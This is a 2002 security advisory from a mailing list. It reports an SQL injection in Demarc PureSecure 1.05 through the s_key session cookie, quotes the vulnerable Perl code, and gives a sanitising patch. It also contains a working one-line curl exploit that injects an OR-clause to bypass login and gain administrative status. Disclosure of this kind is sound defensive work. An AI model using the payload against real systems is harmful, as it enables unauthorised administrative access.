[NEWS] Demarc PureSecure Allows Users to Bypass Login Restrictions

From: support@securiteam.com
Date: 04/17/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 17 Apr 2002 13:40:42 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Demarc PureSecure Allows Users to Bypass Login Restrictions
------------------------------------------------------------------------

SUMMARY

 <http://www.demarc.org> Demarc PureSecure is an all-inclusive network
monitoring solution that allows you to monitor an entire network of
servers from one powerful web interface. A security vulnerability in the
program allows attackers to bypass the login restrictions imposed on users
accessing the product.

DETAILS

Vulnerable systems:
Demarc PureSecure version 1.05

Immune systems:
Demarc PureSecure version 1.06

User can bypass login restrictions and get administrative status by
utilizing an SQL Injection attack, this would be done through cookies (the
's_key' cookie):

--------- line 319 ------------------------------
elsif (($cookies{'s_key'}) && ($cookies{'s_key'}->value)){
$logged_in_as = &check_login($cookies{'s_key'}->value);
if (!$logged_in_as){
   &print_login_screen;
   &safe_exit;
}
-----------------------------------------------------

s_key = will be use for SQL in function check_login query ( line 6114)

---------lini 6114---------------------------------
$sql_query = " SELECT \
f1,f2,f3,admin,username,UNIX_TIMESTAMP
(current_login_timedate) AS LOGINTIME \

FROM \
dm_sessions \
WHERE current_session_id = '$session_id' ";
-----------------------------------------------------

Solution:
Apply the following patch:
--- demarc Sun Nov 11 23:48:39 2001
+++ demarc-patched Tue Apr 16 12:49:56 2002
@@ -6094,6 +6094,7 @@
 ################
 sub check_login{
 my ($session_id) = @_;
+$session_id=~tr/[a-zA-Z0-9]//dc;

 ($session_id) || return;
 &expire_sessions;

Exploit:
Using <http://curl.haxx.se/download/> cURL:
curl -b s_key=\'%20OR%20current_session_id%20like%20\'%\'%23 https://
host>/dm/demarc

ADDITIONAL INFORMATION

The information has been provided by <mailto:pokleyzz@hotmail.com>
pokleyzz sakamaniaka and <mailto:support@demarc.com> Demarc Security
Support.

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